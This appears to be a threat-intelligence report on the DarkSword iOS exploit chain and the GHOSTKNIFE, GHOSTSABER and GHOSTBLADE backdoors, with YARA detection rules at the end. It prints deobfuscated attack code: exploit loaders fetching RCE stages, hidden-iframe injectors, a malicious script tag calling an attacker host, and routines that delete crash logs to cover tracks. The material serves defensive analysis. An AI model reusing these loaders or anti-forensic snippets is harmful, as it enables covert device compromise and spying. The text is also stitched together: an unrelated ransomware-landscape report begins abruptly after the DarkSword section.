} else {
        location.href = "x-safari-https://snapshare.chat/<redacted>";
}

Figure 5: Landing page code snippet showing x-safari-https use (UNC6748, November 2025)

function getJS(fname,method = 'GET') 
{
    try 
    {
        url = fname;
        print(`trying to fetch ${method} from: ${url}`);
        let xhr = new XMLHttpRequest();
        xhr.open("GET", `${url}` , false);
        xhr.send(null);
        return xhr.responseText;
    }
    catch(e)
    {
        print("got error in getJS: " + e);
    }
}

Figure 6: rce_loader.js snippet showing the logic for fetching additional stages (UNC6748, November 2025)

let workerCode = "";
workerCode = getJS(`rce_worker_18.4.js`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);

Figure 7: rce_loader.js snippet showing a single RCE exploit worker being loaded (UNC6748, November 2025)

let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);

Figure 8: rce_loader.js snippet showing (attempted) support for different RCE exploit workers (UNC6748, November 2025)

let workerCode = "";
if(ios_version == '18,7')
    workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
else
    workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);

Figure 9: rce_loader.js snippet with iOS 18.7 support added (UNC6748, November 2025)

GHOSTKNIFE

In this activity, we observed UNC6748 deploy a backdoor GTIG tracks as GHOSTKNIFE. GHOSTKNIFE, written in JavaScript, has several modules for exfiltrating different types of data, including signed-in accounts, messages, browser data, location history, and recordings. It also supports downloading files from the C2 server, taking screenshots, and recording audio from the device's microphone. GHOSTKNIFE communicates with its C2 server using a custom binary protocol over HTTP, encrypted using a scheme based on ECDH and AES. GHOSTKNIFE can update its config with new parameters from its C2 server.

GHOSTKNIFE writes files to disk during its execution under /tmp/<uuid>.<numbers>, where uuid is a randomly generated UUIDv4 value and numbers is a hard-coded sequence of several digits. Under that directory, it creates multiple subfolders including STORAGE, DATA, and TMP. As each module of GHOSTKNIFE executes, it writes its data to /tmp/<uuid>.<numbers>/STORAGE/<uuid2>.<id>, where id is the numeric value of the module and uuid2 is a different randomly generated UUIDv4 value. Additionally, GHOSTKNIFE periodically erases crash logs from the device to cover its tracks in case of unexpected failures (Figure 10).

 cleanLogs(){
       let files =  MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/");
       for(let file of files){//.ips  // mediaplaybackd-" panic-full-
        if(file.includes("mediaplaybackd") || file.includes("SpringBoard") || file.includes("com.apple.WebKit.") || file.includes("panic-full-") ){
          MyHelper.deleteFileAtPath(file);
        }
       }
  }

Figure 10: GHOSTKNIFE snippet responsible for deleting crash logs

Campaigns Targeting Users in Turkey and Malaysia (PARS Defense)

In late November 2025, GTIG observed activity associated with the Turkish commercial surveillance vendor PARS Defense where DarkSword was used in Turkey, with support for iOS 18.4-18.7. Unlike the UNC6748 activity, this campaign was carried out with more attention to OPSEC, with obfuscation applied to the exploit loader and some of the exploit stages, and the use of ECDH and AES to encrypt exploits between the server and the victim (Figure 11). Additionally, the obfuscated version of rce_loader.js used by PARS Defense fetched the correct RCE exploit depending on the detected iOS version (Figure 12).

Subsequently, in January 2026, GTIG observed additional activity in Malaysia associated with a different PARS Defense customer. In this case, we were able to collect a different loader used in the activity, which contains additional device fingerprinting logic, and also used the uid session storage check. This loader also uses the top.location.href redirect for targets that do not pass all of the checks like UNC6748 did, but also sets window.location.href to the same URL (Figure 13).

Where available, GTIG identified a different final payload used in this activity, a backdoor we track as GHOSTSABER.

function getJS(_0x12fba8) {
  const _0x35744f = generateKeyPair();
  const _0x4a6eb4 = exportPublicKeyAsPem(_0x35744f.publicKey);
  const _0x1bc168 = self.btoa(_0x4a6eb4);
  const _0x119092 = {
    'a': _0x1bc168
  };
  _0x12fba8 = _0x12fba8.startsWith('/') ? _0x12fba8 : '/' + _0x12fba8;
  const _0x1fedd2 = new XMLHttpRequest();
  _0x1fedd2.open('POST', 'https://<redacted>' + (_0x12fba8 + '?' + Date.now()), false);
  _0x1fedd2.setRequestHeader('Content-Type', 'application/json');
  _0x1fedd2.send(JSON.stringify(_0x119092));
  if (_0x1fedd2.status === 0xc8) {
    const _0x362968 = JSON.parse(_0x1fedd2.responseText);
    const _0x32efb2 = _0x362968.a;
    const _0x46ca4b = _0x362968.b;
    const _0xfae3b8 = b64toUint8Array(_0x32efb2);
    const _0x2f4536 = b64toUint8Array(_0x46ca4b);
    const _0xa36b4f = deriveAesKey(_0x35744f.privateKey, _0x2f4536);
    const _0x36e338 = decryptData(_0xfae3b8, _0xa36b4f);
    const _0x50186a = new TextDecoder().decode(_0x36e338);
    return _0x50186a;
  }
  return null;
}

Figure 11: Deobfuscated getJS() snippet from the DarkSword loader (PARS Defense, November 2025)

let workerCode = '';
if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2' || ios_version == '18,7') {
  workerCode = getJS('6cde159c.js?' + Date.now());
} else {
  workerCode = getJS('a9bc5c66.js?' + Date.now());
}
let workerBlob = new Blob([workerCode], {
  'type': 'text/javascript'
});
let workerBlobUrl = URL.createObjectURL(workerBlob);

Figure 12: Deobfuscated snippet for loading the RCE workers (PARS Defense, November 2025)

if (!sessionStorage.getItem('uid') && canUseApplePay() && "standalone" in navigator && (CSS.supports("backdrop-filter: blur(10px)") || CSS.supports("-webkit-backdrop-filter: blur(10px)")) && document.pictureInPictureEnabled && !(typeof window.chrome === "object" && window.chrome !== null) && !('InstallTrigger' in window) && supportsWebGL2() && getDeviceInputInfo() && !("vibrate" in navigator) && debuggerCheck()) {
  (() => {
    function _0x45e723(_0x52731a) {
      const _0x43f8d9 = generateKeyPair();
      const _0x427066 = exportPublicKeyAsPem(_0x43f8d9.publicKey);
      const _0x5cfee7 = self.btoa(_0x427066);
      const _0x96910f = {
        'a': _0x5cfee7
      };
      _0x52731a = _0x52731a.startsWith('/') ? _0x52731a : '/' + _0x52731a;
      const _0x436cc4 = new XMLHttpRequest();
      _0x436cc4.open("POST", 'https://<redacted>' + (_0x52731a + '?' + Date.now()), false);
      _0x436cc4.setRequestHeader('Content-Type', "application/json");
      _0x436cc4.send(JSON.stringify(_0x96910f));
      if (_0x436cc4.status === 0xc8) {
        const _0x4a4193 = JSON.parse(_0x436cc4.responseText);
        const _0x362b30 = _0x4a4193.a;
        const _0x536004 = _0x4a4193.b;
        const _0x183b3f = b64toUint8Array(_0x362b30);
        const _0x46bbee = b64toUint8Array(_0x536004);
        const _0x43e600 = deriveAesKey(_0x43f8d9.privateKey, _0x46bbee);
        const _0x2e0735 = decryptData(_0x183b3f, _0x43e600);
        const _0x26a8b1 = new TextDecoder().decode(_0x2e0735);
        return _0x26a8b1;
      }
      return null;
    }
    let _0x100ce6 = _0x45e723('6297d177.html?' + Math.random());
    const _0x5f5a7d = document.createElement("iframe");
    _0x5f5a7d.srcdoc = _0x100ce6;
    _0x5f5a7d.style.height = 0x0;
    _0x5f5a7d.style.width = 0x0;
    _0x5f5a7d.style.border = 'none';
    document.body.appendChild(_0x5f5a7d);
  })();
} else {
  top.location.href = "<legit website>";
  window.location.href = '<legit website>';
}

Figure 13: Deobfuscated landing page snippet to fetch the DarkSword loader (PARS Defense, January 2026)

GHOSTSABER

GHOSTSABER is a JavaScript backdoor used by PARS Defense that communicates with its C2 server over HTTP(S). Its capabilities include device and account enumeration, file listing, data exfiltration, and the execution of arbitrary JavaScript code; a complete list of its supported commands is detailed in Table 1. Observed GHOSTSABER samples contain references to several commands that lack the necessary code to be executed, including some that purport to record audio from the device's microphone and send the device's current geolocation to the C2 server. These commands use a function called send_command_to_upper_process, which writes to a shared memory region that is otherwise unused in the implant. We suspect that a follow-on binary module may be downloaded from the C2 server to implement these commands at runtime.

New Ukrainian Watering Hole Activity From UNC6353

GTIG observed the suspected Russian espionage actor UNC6353 leveraging DarkSword in a new watering hole campaign targeting Ukrainian users. As mentioned in our recent blog post, we first began tracking UNC6353 in summer 2025 as a threat cluster conducting watering hole attacks on Ukrainian websites to deliver Coruna. This new activity, which has been active through March 2026 but dates back to at least December 2025, leverages the DarkSword exploit chain to deploy GHOSTBLADE. GTIG notified and collaborated with CERT-UA to mitigate this activity.

Compromised Ukrainian websites were updated to include a malicious script tag that fetched the first delivery stage from an UNC6353 server, static.cdncounter[.]net (Figure 14). This script (Figure 15) dynamically creates a new IFrame and sets its source to a file called index.html on the same server (Figure 16). While index.html bears some overlap with the landing page logic used by UNC6748 and PARS Defense, it sets the uid session storage key without checking the session's current state, and includes a Russian language comment that translates to "if uid is still needed, just install it."

Notably, the observed UNC6353 use of DarkSword only supported iOS 18.4-18.6. While earlier DarkSword use attributed to UNC6748 and PARS Defense also supported iOS 18.7, we did not observe that from UNC6353, despite their later operational timeline. However, the loader used in this version correctly loaded the RCE modules corresponding to the running iOS version, which we didn't observe in UNC6748's use of DarkSword with only iOS 18.4-18.6 support (Figure 17).

<script async src="https://static.cdncounter.net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>

Figure 14: Malicious script tag used by UNC6353 (March 2026)

(function () {
  const iframe = document.createElement("iframe");
  iframe.src = "https://static.cdncounter.net/assets/index.html";
  iframe.style.width = "1px";
  iframe.style.height = "1px";
  iframe.style.border = "0";
  iframe.style.position = "absolute";
  iframe.style.left = "-9999px";
  iframe.style.opacity = "0.01";
  // важно для Safari
  iframe.setAttribute(
    "sandbox",
    "allow-scripts allow-same-origin"
  );
  document.body.appendChild(iframe);
})();

Figure 15: widgets.js (UNC6353, March 2026)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Test Page</title>
</head>
<body>
  <script>
    // если uid всё ещё нужен — просто устанавливаем
    sessionStorage.setItem('uid', '1');
    const frame = document.createElement('iframe');
    frame.src = 'frame.html?' + Math.random();
    frame.style.width = '1px';
    frame.style.opacity = '0.01'
    frame.style.position = 'absolute';
    frame.style.left = '-9999px';
    frame.style.height = '1px';
    frame.style.border = 'none';
    document.body.appendChild(frame);
  </script>
</body>
</html>

Figure 16: index.html (UNC6353, March 2026)

let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
    workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);

Figure 17: rce_loader.js snippet for loading the RCE exploit workers (UNC6353, March 2026)

GHOSTBLADE

Following device infections from these watering holes, UNC6353 deployed a malware family GTIG tracks as GHOSTBLADE. GHOSTBLADE is a dataminer written in JavaScript that collects and exfiltrates a wide variety of data from a compromised device (Table 2). Data collected by GHOSTBLADE is exfiltrated to an attacker-controlled server over HTTP(S). Unlike GHOSTKNIFE and GHOSTSABER, GHOSTBLADE is less capable and does not support any additional modules or backdoor-like functionality; it also does not operate continuously. However, similar to GHOSTKNIFE, GHOSTBLADE also contains code to delete crash reports, but targets a different directory where they may be stored (Figure 18). The GHOSTBLADE sample observed in this activity had full debug logging present along with lots of comments in the code.

Notably, the GHOSTBLADE sample analyzed by GTIG contains a comment and code block conditionally executing code on iOS versions greater than or equal to 18.4, which is the minimum supported version by DarkSword (Figure 19; note that ver is parsed from uname, which returns the XNU version). This suggests the payload also supports running on versions lower than 18.4, which isn't supported by DarkSword.

static deleteCrashReports()
{
	this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
	libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}

Figure 18: GHOSTBLADE code snippet used for deleting crash logs

// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) {
	mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));
	libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
	migFilterBypass = new MigFilterBypass(mutexPtr);
}

Figure 19: Code conditionally executed on iOS 18.4+ in GHOSTBLADE

DarkSword Exploit Chain

As mentioned, DarkSword uses six different vulnerabilities to fully compromise a vulnerable iOS device and run a final payload with full kernel privileges (Table 3). Unlike Coruna, DarkSword only supports a limited set of iOS versions (18.4-18.7), and while the different exploit stages are technically sophisticated, the mechanisms used for loading the exploits were more basic and less robust than Coruna.

Also unlike Coruna, DarkSword uses pure JavaScript for all stages of the exploit chain and final payloads. While more sophistication is required to bridge between JavaScript and the native APIs and IPC channels used in the exploit, its use eliminates the need to identify vulnerabilities for bypassing Page Protection Layer (PPL) or Secure Page Table Monitor (SPTM) exploit mitigations in iOS that prevent unsigned binary code from being executed.

Exploit Delivery

There are notable similarities and differences between the exploit delivery implementations used by UNC6748, PARS Defense, and UNC6353. We assess that each of the actors built their delivery mechanisms on a base set of logic from the DarkSword developers, and made tweaks to fit their own needs. All three actors had some usage of the uid session storage key, but not all in the same way:

• We consistently saw UNC6748 landing pages both set the uid key, and check it before fetching the exploit loader.

• UNC6748 only set the top.location.href property to redirect users if they weren't to be infected.

• PARS Defense used the uid key in the same way in January 2026, but the initial activity we saw in November 2025 didn't include it.

• Like UNC6748, PARS Defense set top.location.href, but also set window.location.href to the same value.

• UNC6353 set the uid key, but did not check it before fetching the exploit loader; a comment in the source code suggests that they did not know if it was required by the subsequent stages.

Based on the actors' differing usages, we assess that this session storage check logic, along with the subsequent logic using frame.html to then fetch rce_loader.js as observed from UNC6748 and UNC6353, was developed by the DarkSword exploit chain developers. We assess that the additional fingerprinting logic used by PARS Defense in January 2026 and the anti-debug logic used by UNC6748 in November 2025 were likely written by those users to better meet their operational requirements.

Loader

All the activity we observed used effectively the same exploit loader, with some minor differences such as PARS Defense's addition of encryption. The loader manages Web Worker objects that are used by the two RCE exploits, along with state transitions throughout the RCE exploit lifecycle. The loader fetches two files for the RCE stages, named variations of rce_module.js and rce_worker.js (e.g. rce_worker_18.4.js). The iOS 18.4 exploit splits the logic between the Web Worker script and the main module, which is eval'd in the same context as the loader; the two different contexts communicate using postMessage as the RCE exploit progresses. The iOS 18.6/18.7 RCE exploit, however, contains all of the exploit logic in the worker, and the corresponding rce_module.js file just has an unused placeholder function (Figure 21).

The inconsistencies surrounding the correctness of fetching the RCE stages by the loader module are intriguing. One possibility is that the errors were manually corrected by UNC6353 and PARS Defense; alternatively, it is possible that UNC6748 received the exploit chain updates prior to the other users, and the DarkSword developers subsequently fixed those bugs.

// for displaying hex value
function dummyy(x) {
    return '0x' + x.toString(16);
}

Figure 21: rce_module_18.7.js contents (UNC6748, November 2025)

Remote Code Execution Exploits

GTIG observed two different JavaScriptCore (the JavaScript engine used in WebKit and Apple's Safari browser) vulnerabilities exploited for remote code execution by DarkSword. For devices running versions of iOS prior to 18.6, DarkSword uses CVE-2025-31277, a JIT optimization/type confusion bug which was patched by Apple in iOS 18.6. For devices running iOS 18.6-18.7, DarkSword uses CVE-2025-43529, a garbage collection bug in the Data Flow Graph (DFG) JIT layer of JavaScriptCore which was patched by Apple in iOS 18.7.3 and 26.2 after it was reported by GTIG. Both exploits develop their own fakeobj/addrof primitives, and then build arbitrary read/write primitives the same way on top of them.

Both vulnerabilities were directly chained with CVE-2026-20700, a bug in dyld used as a user-mode Pointer Authentication Codes (PAC) bypass to execute arbitrary code, as required by the subsequent exploit stages. This vulnerability was patched by Apple in iOS 26.3 after being reported by GTIG.

Sandbox Escape Exploits

Safari is designed to use multiple sandbox layers to isolate the different components of the browser where untrusted user input may be handled. DarkSword uses two separate sandbox escape vulnerabilities, first by pivoting out of the WebContent sandbox into the GPU process, and then by pivoting from the GPU process to mediaplaybackd. The same sandbox escape exploits were used regardless of which RCE exploit was needed.

WebContent Sandbox Escape

As previously discussed by Project Zero and others, Safari's renderer process (known as WebContent) is tightly sandboxed to limit the blast radius of any vulnerabilities it may contain, since it is the most accessible to untrusted user content. To bypass this, DarkSword fetches an exploit called sbox0_main_18.4.js or sbx0_main.js to break out of the WebContent sandbox. This exploit leverages CVE-2025-14174, a vulnerability in ANGLE where parameters were not sufficiently validated in a specific WebGL operation, leading to out-of-bounds memory operations in Safari's GPU process which the DarkSword developers use to execute arbitrary code within the GPU process.

This vulnerability was reported to Google (the developers of ANGLE) by Apple and GTIG, and was patched in Safari with the release of iOS 18.7.3 and 26.2.

GPU Sandbox Escape

In Safari, the GPU process has more privileges than the WebContent sandbox, but still is restricted from accessing much of the rest of the system. To bypass this limitation, DarkSword uses another sandbox escape exploit, sbx1_main.js, which leverages CVE-2025-43510, a memory management vulnerability in XNU. This is a copy-on-write bug which is exploited to build arbitrary function call primitives in mediaplaybackd, a system service with a larger set of permissions than the Safari GPU process where they can run the final exploit needed. They do this by loading a copy of the JavaScriptCore runtime into the mediaplaybackd process, and executing the next stage exploit within it.

This vulnerability was patched by Apple in iOS 18.7.2 and 26.1.

Local Privilege Escalation and Final Payload

Finally, the exploit loaded one last module, pe_main.js. This uses CVE-2025-43520, a kernel-mode race condition in XNU's virtual filesystem (VFS) implementation, which can be exploited to build physical and virtual memory read/write primitives. This vulnerability was patched by Apple in iOS 18.7.2 and 26.1.

The exploit contains a suite of library classes building on top of their primitives that are used by the different post-exploitation payloads, such as Native, which provides abstractions for manipulating raw memory and calling native functions, and FileUtils, which provides a POSIX-like filesystem API. Artifacts left behind from the Webpack process applied to the analyzed GHOSTBLADE sample included file paths that show the structure on disk of these libraries (Figure 22).

We assess that GHOSTBLADE was likely developed by the DarkSword developers, based on the consistency in coding styles and the tight integration between it and the library code, which is notably distinct from how GHOSTKNIFE and GHOSTSABER leveraged these libraries. We also observed additional modifications made to some of the post-exploitation payload libraries in the samples observed from PARS Defense, including additional raw memory buffer manipulation, likely used in follow-on binary modules. Additionally, the libraries in GHOSTBLADE contained a reference to a function called startSandworm() which was not implemented within it; we suspect this may be a codename for a different exploit.

src/InjectJS.js
src/libs/Chain/Chain.js
src/libs/Chain/Native.js
src/libs/Chain/OffsetsStruct.js
src/libs/Driver/Driver.js
src/libs/Driver/DriverNewThread.js
src/libs/Driver/Offsets.js
src/libs/Driver/OffsetsTable.js
src/libs/JSUtils/FileUtils.js
src/libs/JSUtils/Logger.js
src/libs/JSUtils/Utils.js
src/libs/TaskRop/Exception.js
src/libs/TaskRop/ExceptionMessageStruct.js
src/libs/TaskRop/ExceptionReplyStruct.js
src/libs/TaskRop/MachMsgHeaderStruct.js
src/libs/TaskRop/PAC.js
src/libs/TaskRop/PortRightInserter.js
src/libs/TaskRop/RegistersStruct.js
src/libs/TaskRop/RemoteCall.js
src/libs/TaskRop/Sandbox.js
src/libs/TaskRop/SelfTaskStruct.js
src/libs/TaskRop/Task.js
src/libs/TaskRop/TaskRop.js
src/libs/TaskRop/Thread.js
src/libs/TaskRop/ThreadState.js
src/libs/TaskRop/VM.js
src/libs/TaskRop/VmMapEntry.js
src/libs/TaskRop/VMObject.js
src/libs/TaskRop/VmPackingParams.js
src/libs/TaskRop/VMShmem.js
src/loader.js
src/main.js
src/MigFilterBypassThread.js

Figure 22: Filepath artifacts from GHOSTBLADE sample

Outlook and Implications

The use of both DarkSword and Coruna by a variety of actors demonstrates the ongoing risk of exploit proliferation across actors of varying geography and motivation. Google remains committed to aiding in the mitigation of this problem, in part through our ongoing participation in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts.

Acknowledgments

We would like to acknowledge and thank Lookout, iVerify, Google Project-Zero, and Apple Security Engineering & Architecture team for their partnership throughout this investigation.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users. We've also uploaded a sample of GHOSTBLADE to VirusTotal.

Network Indicators

File Indicators

Detections

YARA Rules

rule G_Backdoor_GHOSTKNIFE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "server_pub_ex"
		$ = "client_pri_ds"
		$ = "getfilebyExtention"
		$ = "getContOfFilesForModule"
		$ = "carPlayConnectionState"
		$ = "saveRecordingApp"
		$ = "getLastItemBack"
		$ = "the inherted class"
		$ = "passExtetion"
	condition:
		filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}

rule G_Backdoor_GHOSTSABER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "sendDeviceInfoJson"
		$ = "merge2AppLists"
		$ = "send_command_to_upper_process"
		$ = "ChangeStatusCheckSleepInterval"
		$ = "SendRegEx"
		$ = "evalJsResponse.json"
		$ = "sendSimpleUploadJsonObject"
		$ = "device_info_all"
		$ = "getPayloadForSimpleStatusRequest"
	condition:
		filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}

rule G_Datamine_GHOSTBLADE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "/private/var/tmp/wifi_passwords.txt"
		$ = "/private/var/tmp/wifi_passwords_securityd.txt"
		$ = "/.com.apple.mobile_container_manager.metadata.plist" fullword
		$ = "X-Device-UUID: ${"
		$ = "/installed_apps.txt" fullword
		$ = "icloud_dump_" fullword
	condition:
		filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 3 of them
}

rule G_Hunting_DarkSwordExploitChain_ImplantLib_FilePaths_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "src/InjectJS.js"
		$ = "src/libs/Chain/Chain.js"
		$ = "src/libs/Chain/Native.js"
		$ = "src/libs/Chain/OffsetsStruct.js"
		$ = "src/libs/Driver/Driver.js"
		$ = "src/libs/Driver/DriverNewThread.js"
		$ = "src/libs/Driver/Offsets.js"
		$ = "src/libs/Driver/OffsetsTable.js"
		$ = "src/libs/JSUtils/FileUtils.js"
		$ = "src/libs/JSUtils/Logger.js"
		$ = "src/libs/JSUtils/Utils.js"
		$ = "src/libs/TaskRop/Exception.js"
		$ = "src/libs/TaskRop/ExceptionMessageStruct.js"
		$ = "src/libs/TaskRop/ExceptionReplyStruct.js"
		$ = "src/libs/TaskRop/MachMsgHeaderStruct.js"
		$ = "src/libs/TaskRop/PAC.js"
		$ = "src/libs/TaskRop/PortRightInserter.js"
		$ = "src/libs/TaskRop/RegistersStruct.js"
		$ = "src/libs/TaskRop/RemoteCall.js"
		$ = "src/libs/TaskRop/Sandbox.js"
		$ = "src/libs/TaskRop/SelfTaskStruct.js"
		$ = "src/libs/TaskRop/Task.js"
		$ = "src/libs/TaskRop/TaskRop.js"
		$ = "src/libs/TaskRop/Thread.js"
		$ = "src/libs/TaskRop/ThreadState.js"
		$ = "src/libs/TaskRop/VM.js"
		$ = "src/libs/TaskRop/VmMapEntry.js"
		$ = "src/libs/TaskRop/VMObject.js"
		$ = "src/libs/TaskRop/VmPackingParams.js"
		$ = "src/libs/TaskRop/VMShmem.js"
		$ = "src/MigFilterBypassThread.js"
	condition:
		any of them
}

Written by: Bavi Sadayappan, Zach Riddle, Ioana Teaca, Kimberly Goody, Genevieve Stark

Introduction 

Since 2018, when many financially motivated threat actors began shifting their monetization strategy to post-compromise ransomware deployments, ransomware has become one of the most pervasive threats to organizations across almost every industry vertical and region. In recent years ransomware operations have evolved, creating a robust ecosystem that has lowered the barrier to entry via the commoditization and specialization of the supporting underground communities, which is exemplified by the proliferation of the ransomware-as-a-service (RaaS) business model. While ransomware remains a dominant threat due to the volume of activity and the potential for serious operational disruptions, we have observed multiple indicators that suggest the overall profitability of ransomware operations is in decline. This trend is likely the result of multiple factors, including improved cybersecurity practices, increased ability of organizations to recover, and declining ransom payment amounts and rates. Further, numerous disruptions have impacted the ransomware ecosystem in recent years, from external forces like law enforcement operations to internal conflict between actors; both have led to the disappearance or significant debilitation of previously prolific RaaS groups like LockBit, ALPHV, Basta, and RansomHub. However, despite these shakeups, the well-established Qilin and Akira RaaS brands rose up to fill the vacuum, leading to a record high number of victims posted to data leak sites (DLS) in 2025 (Figure 1).

This report provides an overview of the ransomware landscape and common tactics, techniques, and procedures (TTPs) directly observed in the 2025 ransomware incidents that Mandiant Consulting responded to. In this analysis, we excluded activity focused only on data theft extortion. Key insights include: 

• In a third of incidents, the initial access vector was confirmed or suspected exploitation of vulnerabilities, most often in common VPNs and firewalls. 

• 77 percent of analyzed ransomware intrusions included suspected data theft, a notable uptick from 57 percent of incidents in 2024.

• In approximately 43% of ransomware intrusions we responded to in 2025, the threat actors were observed targeting virtualization infrastructure, an increase from 29% in 2024.

• REDBIKE was the most frequently deployed ransomware family, accounting for 30 percent of analyzed ransomware incidents.

• Several trends from prior years remained consistent, including a decreased use of certain intrusion tools like BEACON and MIMIKATZ and a plateau in the reliance of remote management tools.

Google Threat Intelligence Group (GTIG) analysis of TTPs relies primarily on data from Mandiant engagements and therefore represents only a sample of global ransomware intrusion activity. These incidents involved the post-compromise deployment of ransomware following network intrusion activity, with the majority of incidents also involving data theft extortion. The impacted organizations were based across the Asia Pacific region, Europe, North America, and South America and within nearly every industry sector. 

While we anticipate ransomware will remain one of the most impactful cyber threats in 2026, the reduction in profits may cause some threat actors to leverage other monetization methods and tactics, such as continuing targeting shifts, further increasing data theft extortion operations, the use of more aggressive extortion tactics, or opportunistically using access to victim environments for secondary monetization mechanisms. 

Recommendations to assist in addressing the threat posed by ransomware are captured in our white paper, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment.

2025 Ransomware Landscape 

In 2025, the ransomware landscape became increasingly crowded, with a record high number of unique DLS with at least one post. The growing pool of ransomware actors engaging in extortion operations combined with persistent targeted efforts by law enforcement and enhanced organizational security has likely shrunk profit margins for ransomware operators in recent years. In response, threat actors appear to be adopting new strategies from who they target to the technologies they use. This evolution has included an apparent increase in targeting smaller organizations, and a possible focus on data theft extortion without ransomware deployment. Furthermore, threat actors are incorporating artificial intelligence (AI) into aspects of their operations (e.g., negotiations) and leveraging Web3 technologies to bolster the resilience of their infrastructure. While we see expansions in these aspects, internal and external disruptions seen in recent years have prompted some threat actors to become more cautious resulting in more rigorous vetting of potential partners. We expect ransomware actors to continue to adjust and evolve their tactics in an attempt to maintain some level of success or regain the levels of profitability they reached historically.

2025 marked a record year for the number of posts on DLS, with the total number of posts surpassing that of 2024 by almost 50%. Despite these record setting numbers, we caution against relying solely on DLS data to ascertain the overall volume of ransomware activity. Threat actors typically only create DLS posts for victims that have refused to initiate or complete extortion negotiations. Public reporting indicates that ransom payment rates have been declining, which could, at least partially, fuel the steady increase of posts on shaming sites. It can also be difficult to differentiate between DLS posts associated with data theft-only operations and those that also include ransomware deployment. For example, threat actors associated with the CL0P DLS continue to occasionally deploy ransomware but have shifted primarily to data-theft-extortion-only operations. So while CL0P was the third most prolific DLS in 2025, the vast majority of incidents associated with these posts did not involve ransomware. We have also observed numerous instances of threat actors, such as those associated with BABUK 2.0, fabricating and exaggerating claims as well as reposting claims that would at least slightly inflate victim counts. Finally, not all claims are of equal significance. For example, between December 2024 and January 2025, FUNKSEC was the highest volume DLS; however, many of the associated incidents appeared to be lower impact events involving compromising websites for data theft extortion.

Although ransomware has historically been highly lucrative, recent disruptions and enhanced organizational security may be impacting these profits. Public reporting indicates that both ransom payment rates and average ransom demands are decreasing. In February 2026, Coveware reported that ransom payment rates have generally decreased over the past few years, reaching a historic low in Q4 2025. Similarly, in June 2025, Sophos reported that the average ransom demand has dropped by one-third during the last year, to $1.34 million in 2025 from $2 million in 2024. Public reporting further suggests that organizations that have been impacted by ransomware are able to recover more easily, which also likely contributes to reduced ransom payments. For example, in February 2025, Unit 42 reported that companies have improved their ability to recover from ransomware incidents; nearly half of ransomware victims were able to restore from backup in 2024 compared to around 28% in 2023 and only 11% in 2022.

Improvements in organizational security and the growing ability of victims to recover from ransomware attacks may be leading some adversaries to view data theft as a more reliable method for securing payments. In intrusions investigated by Mandiant, we observed a decline in traditional ransomware deployment coinciding with a rise in data theft extortion. Further, some RaaS programs are providing data-theft-extortion-only options in addition to ransomware, which may reflect demand from their customer base. It is also plausible that more robust security posture, particularly at larger organizations, is forcing threat actors to adjust their targeting to focus on a higher volume of attacks targeting smaller organizations with less mature security programs. Analysis of organization size (based on estimated number of employees, when available) of victims posted on DLS indicates threat actors have shifted away from larger organizations and toward smaller organizations (Figure 3). Threat actors have directly commented on this trend. For example, in leaked April and May 2024 chats, a Basta actor theorized that targeting smaller company networks would be more effective compared to "normal networks."

